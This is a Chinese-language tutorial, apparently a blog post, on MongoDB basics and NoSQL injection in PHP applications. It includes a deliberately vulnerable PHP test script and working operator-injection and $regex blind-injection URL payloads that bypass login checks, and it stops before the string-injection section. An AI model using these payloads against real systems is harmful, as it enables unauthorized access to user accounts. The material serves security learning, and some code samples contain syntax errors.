[NoSql注入] MongoDB学习
0x00 安装
下载:http://dl.mongodb.org/dl/win32/x86_64
安装:http://www.runoob.com/mongodb/mongodb-window-install.html
0x01 MongoDB语法
我们先学习下MongoDB的使用,知己知彼,方能百战百胜,只有了解了对方,才能找寻弱点,一击击破
下面都是以PHP为例
数据库操作基本是增删改查,MongoDB的增删改查怎么个不是SQL呢,下面我们来看一下
<?php
$mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017
$db = $mongo->security; //选择数据库
$coll = $db->users; //选择集合(表)
$coll->save({'id':1,'name':'admin','passwd':'admin'}); //增,新增id=1,name=admin,passwd=admin的数据
$coll->insert({'id':1,'name':'admin','passwd':'admin'});//增,这个也是增
$coll->find({'id':1}); //查,查询id=1的数据
$coll->remove({'id':1}); //减,删除id=1的数据
$coll->update({'id':1},{'name':'superadmin'}); //改,将id=1的name改为supername
?>
大家通过上面应该可以察觉到数据传输是通过json承载的
说明:JSON 是一种轻量级的数据交换格式。它基于 ECMAScript 的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言,它易于人阅读和编写,同时也易于机器解析和生成,并能有效地提升网络传输效率。如:{\"firstName\": \"Brett\", \"lastName\": \"McLaughlin\"}
还有一种执行的方法,是直接执行字符串的
<?php
$mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017
$db = $mongo->security; //选择数据库(表)
$query = "db.users.save({'id':1})"; //增
$query = "db.users.insert({'id':1})"; //增
$query = "db.users.find({'id':1})"; //查
$query = "db.users.remove({'id':1})"; //减
$query = "db.users.update({'id':1},{'name','superadmin'})"; 改
$result = $db->execute($query);
?>
上面都是连接users表进行操作的。db.users.find({'id':1})这种其实是js的语句,最后通过execute($sql)执行sql操作,execute其实就是执行js语句
针对上面两种执行方式,有不同的注入攻击方式。
0x02 注入攻击
针对上面两种执行方式,分类两种攻击方式:操作符注入、字符串注入 ,详细介绍下注入原理前,先补充知识
比较条件操作符
"$lt", "$lte", "$gt", "$gte", "$ne"
对应于:"<","<=",">",">=","!="
正则操作符
$regex
实际运用
db.items.find({"name" :"admin", "password" : {$ne : "1"}})
#查询name=admin及password不等以1的数据
相当于SQL语句:select * from item where name='admin' and password != 1;
db.items.find({"name" :{'$regex':"^a"}})
#查询正则匹配字母a开头的数据
操作符注入
测试代码
<?php $mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017 $db = $mongo->security; //选择数据库 $coll = $db->users; //选择集合(表) $username = $_GET['username'];
$password = $_GET['password']; $data = array(
'username' => $username,
'password' => $password
);
echo 'data_array->'.$data.PHP_EOL; $coll->find($data); //查,查询id=1的数据
$count = $coll->count();
if($count > 0){
foreach($data as $key => $value){
echo $key.'->'.$value.PHP_EOL;
}
}else{
echo 'NOT FIND.';
} ?>
传入数据?username=test&password=test
输出:username->test password->test
传入的url为:
http://127.0.0.1/mongodb.php?username=test&password=test
执行了语句:
db.users.find({'username':'test','password':'test'});
如果传入参数如下:
http://127.0.0.1/mongodb.php?username[xxx]=test&password=test
则$username就变成了个数组了,我们可以做下试验
<?php $username = $_GET['username'];
$password = $_GET['password']; $data = array(
'username' => $username,
'password' => $password
); foreach($data as $user => $value){
echo $user."->".$value.PHP_EOL; } ?>
传入:http://127.0.0.1/mongodb.php?username[xxx]=test&password=test
输出:username->Array password->test
可以看出$username变成数组了
数组相当于:
$data = array(
'username'=>array('xxx'=>'test'),
'password'=>'test'); --> $data={'username':{'xxx':'test'},'password':'test'}
这样MongoDB最后执行如下语句:
db.users.find({'username':{'xxx':'test'},'password':'test'});
利用此特性我们可以注入操作符("$lt", "$lte", "$gt", "$gte", "$ne"),完成一些意料之外的操作了
eg:http://127.0.0.1/mongodb.php?username[$ne]=test&password[$ne]=test
这样就可以查询到出test/test的账号密码了
上面传入的参数,相当于执行的MongoDB语句:
db.users.find({'username':{'$ne':'test'},'password':{'$ne':'test'}});
相当于sql语句:
select * from users where usrname != 'test' and password != 'test';
上面的例子是有回显的,那如果没有回显呢,我们传统SQL注入的这种情况就是盲注了,NoSql是否也有呢?有的。
利用上面介绍的正则操作符$regex
eg:http://127.0.0.1/mongodb.php?username[$regex]=^a&password[$regex]=^b
上面传入的参数,相当于执行的MongoDB语句:
db.users.find({'username':{'$regex':'^a'},'password':{'$regex':'^b'}});
意思是查询username以字符a开头及password以字符b开头的数据。^o^
字符串注入
这个就是利用execute方法执行js写的查询
【未完待续】
[NoSql注入] MongoDB学习的更多相关文章
- NoSQL数据库-MongoDB 学习(一)
基本介绍 MongoDB 是为了快速开发互联网 Web 应用而设计的数据库系统 MongoDB 的设计目标是极简.灵活.作为 Web 应用栈的一部分 MongoDB 的数据模型是面向文档的,所谓文档是 ...
- SQL注入 基础学习
SQL注入学习笔记 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有 ...
- Mongodb学习笔记一(Mongodb环境配置)
Mongodb学习 说明: MongoDB由databases组成,database由collections组成,collection由documents组成,document由fileds组成.Mo ...
- MongoDB学习记录
一.操作符 "$lt" :"<""$lte" :"<=""$gt" :"> ...
- NoSQL 数据库产品学习总结(一)
NoSQL 数据库产品学习总结(一) 本篇文章共分为四个章节,会陆续整理下 Memcached.Redis.tair.mongodb.hbase.SequoiaDB. Cassandra的相关知识. ...
- MongoDB学习笔记-认识MongoDB
学习参考地址 http://www.runoob.com/mongodb NoSql 流行的数据库Oracle,SqlServer,MySql为关系性数据库,相对的,也有非关系性数据库,统称为NoSq ...
- MongoDB学习2
MongoDB学习(翻译2) C#驱动之LINQ教程 介绍 本教程涵盖了1.8发布版本对linq查询的支持. 开始本教程之前,你应该至少阅读下C#驱动教程关于C#驱动的介绍 快速开始 首先,添加下面命 ...
- NoSQL注入的分析和缓解
本文要点介绍: 1.了解针对NoSQL的新的安全漏洞 2.五类NoSQL攻击手段,比如重言式.联合查询.JavaScript 注入.背负式查询(Piggybacked queries),以及跨域违规 ...
- MongoDB 学习笔记(原创)
MongoDB 学习笔记 mongodb 数据库 nosql 一.数据库的基本概念及操作 SQL术语/概念 MongoDB术语/概念 解释/说明 database database 数据库 table ...
随机推荐
- leetcode 297二叉树的序列化与反序列化
to_string(x) 将数字x转化为string atoi(x) 将char转化为int stoi(x) 将string 转化为int 采用中序遍历的顺序存储,NULL用#表示,以,分隔,O(n) ...
- ArcGIS客户端API中加载大量数据的几种解决办法
ArcGIS客户端API中加载大量数据的几种解决办法 2011-03-25 18:17 REST风格的一切事物方兴未艾,ArcGIS Server的客户端API(Javascript/Flex/Sil ...
- vsftp软件安装部署
1.安装vsftp yum install -y vsftpd db4-utils2.默认可以支持系统用户账号远程登录.不安全,建立虚拟账号体系为好.或者在服务器端对vsftpd.conf配置文件进行 ...
- select去掉默认样式
今天遇到的问题,并在这里做一下记录和总结 去除select下拉框默认样式 select { /*Chrome和Firefox里面的边框是不一样的,所以复写了一下*/ border: solid 1px ...
- Tutorial : Implementing Django Formsets
A step-by-step tutorial for setting up and testing a standard Django formset. I’ve noticed on #djang ...
- tomcat报错解决方法
tomcat报错如 关闭被占用的进程 解决方法:cmd进入控制台,输入命令netstat -ano|findstr 8005 (什么端口号被占用就输入什么号),回车 发现是进程2044占用了这 ...
- JS ----- 底层原理
什么是JS JavaScript是一种基于对象的动态.弱类型脚本语言(简称JS),是一种解释型语言,和其他的编程语言不同,如java/C++等编译型语言,这些语言在代码执行前会进行通篇编译,先编译成字 ...
- 深入理解java:4.3. 框架编程之MyBatis原理深入解析
1 引言 本文主要讲解JDBC怎么演变到Mybatis的渐变过程,重点讲解了为什么要将JDBC封装成Mybaits这样一个持久层框架.再而论述Mybatis作为一个数据持久层框架本身有待改进之处. 2 ...
- 【转】应用宝基于Robotium自动化测试
(转载:http://tmq.qq.com/2016/05/robotium_for_app_test/) 1 背景目的应用宝项目组采用FT(Feature Team)模式,整个项目组分为多个FT,而 ...
- HTTPS为什么是安全的?
学习自https://www.cnblogs.com/zhangsanfeng/p/9125732.html,感谢博主 超文本传输协议HTTP被用于在web浏览器和网站服务器之间传递信息,但以明文方式 ...